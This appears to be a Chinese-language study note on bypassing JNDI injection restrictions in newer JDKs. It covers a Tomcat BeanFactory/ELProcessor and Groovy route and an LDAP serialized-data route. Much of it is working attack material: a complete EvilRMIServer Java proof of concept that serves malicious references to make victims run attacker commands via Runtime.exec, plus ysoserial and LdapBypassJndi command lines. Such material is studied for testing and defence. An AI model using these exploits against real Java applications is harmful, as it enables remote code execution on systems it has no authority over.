高版本限制
调试分析一下就知道了,对于传来的Reference会先做一次检查,再调用getObjectInstance来获取类实例
调用栈:
bypass1
tomcat依赖
主要是依赖catalina.jar、el-api.jar、jasper-el.jar
把tomcat lib目录导入项目即可
非Mvn项目的情况下
分析
也就是通过本地的 factoryLocation 来构造代码执行,分析参考 https://www.cnblogs.com/Welk1n/p/11066397.html
先看org.apache.naming.factory.BeanFactory这个poc中的关键类,这个类实现了ObjectFactory接口,并且有实现了getObjectInstance函数,它的getObjectInstance函数做了下面这几件事情:
(有两个可控的参数,Object obj 和 Name name)
- 获取Reference对象,并调用它的无参数构造函数实例化其中的类
- 从Reference对象中获取key为”forceString”的content, 这个content为String类型,形式可以为如:”cmd=eval,p=run”
- 代码进一步对content处理, 安装”,”分割, “=”前面是参数,后面是方法.
- 通过反射执行3中处理得到的方法
所以现在如果可以找到一个beanClass,并且根据其字符串参数方法执行命令即可
可以找到javax.el.EL.Processor, 这个类有一个eval(String)方法可以执行EL表达式.
这里可以直接使用JNDIExploit中的exp:
或者 https://github.com/welk1n/JNDI-Injection-Bypass 中的POC:
同时下面还有Groovy < 2.0的Bypass
package bypass;
import com.sun.jndi.rmi.registry.*;
import java.rmi.RemoteException;
import java.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
public class EvilRMIServer {
public CommandGenerator commandGenerator;
public EvilRMIServer(Listener listener){
commandGenerator = new CommandGenerator(listener);
}
/*
* Need : Tomcat 8+ or SpringBoot 1.2.x+ in classpath,because javax.el.ELProcessor.
*/
public ReferenceWrapper execByEL() throws RemoteException, NamingException{
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", String.format(
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(" +
"\"java.lang.Runtime.getRuntime().exec('%s')\"" +
")",
commandGenerator.getBase64CommandTpl()
)));
return new ReferenceWrapper(ref);
}
/*
* Need : Tomcat and groovy in classpath.
*/
public ReferenceWrapper execByGroovy() throws RemoteException, NamingException{
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=evaluate"));
String script = String.format("'%s'.execute()", commandGenerator.getBase64CommandTpl());
ref.add(new StringRefAddr("x",script));
return new ReferenceWrapper(ref);
}
/**
* TODO: Need more methods to bypass in different java app builded by JDK 1.8.0_191+
*/
public static void main(String[] args) throws Exception{
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);
String ip = args[0];
System.out.println(ip);
EvilRMIServer evilRMIServer = new EvilRMIServer(new Listener(ip,5555));
System.setProperty("java.rmi.server.hostname",ip);
registry.bind("ExecByEL",evilRMIServer.execByEL());
registry.bind("ExecByGroovy",evilRMIServer.execByGroovy());
}
}
bypass2
通过LDAP反序列化Bypass.
Tools https://github.com/Firebasky/LdapBypassJndi/blob/main/README.zh-cn.md
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
原理:
如果LDAP返回的Java对象的 javaSerializedData 属性值不为空,则客户端的 obj.decodeObject() 方法就会对这个字段的内容进行反序列化。
文章中给的POC : https://github.com/kxcode/JNDI-Exploit-Bypass-Demo
这里直接用firebasky的工具:
在项目里加上cc3.1的依赖
java -jar .\yso.jar CommonsCollections6 “calc.exe” | base64 > calc.ser
然后
启动:java -jar .\LdapBypassJndi.jar 8080 .\calc.ser
Windows记得手动去一下换行
marshalsec似乎也可以直接用? // TODO
URLDNS打不通..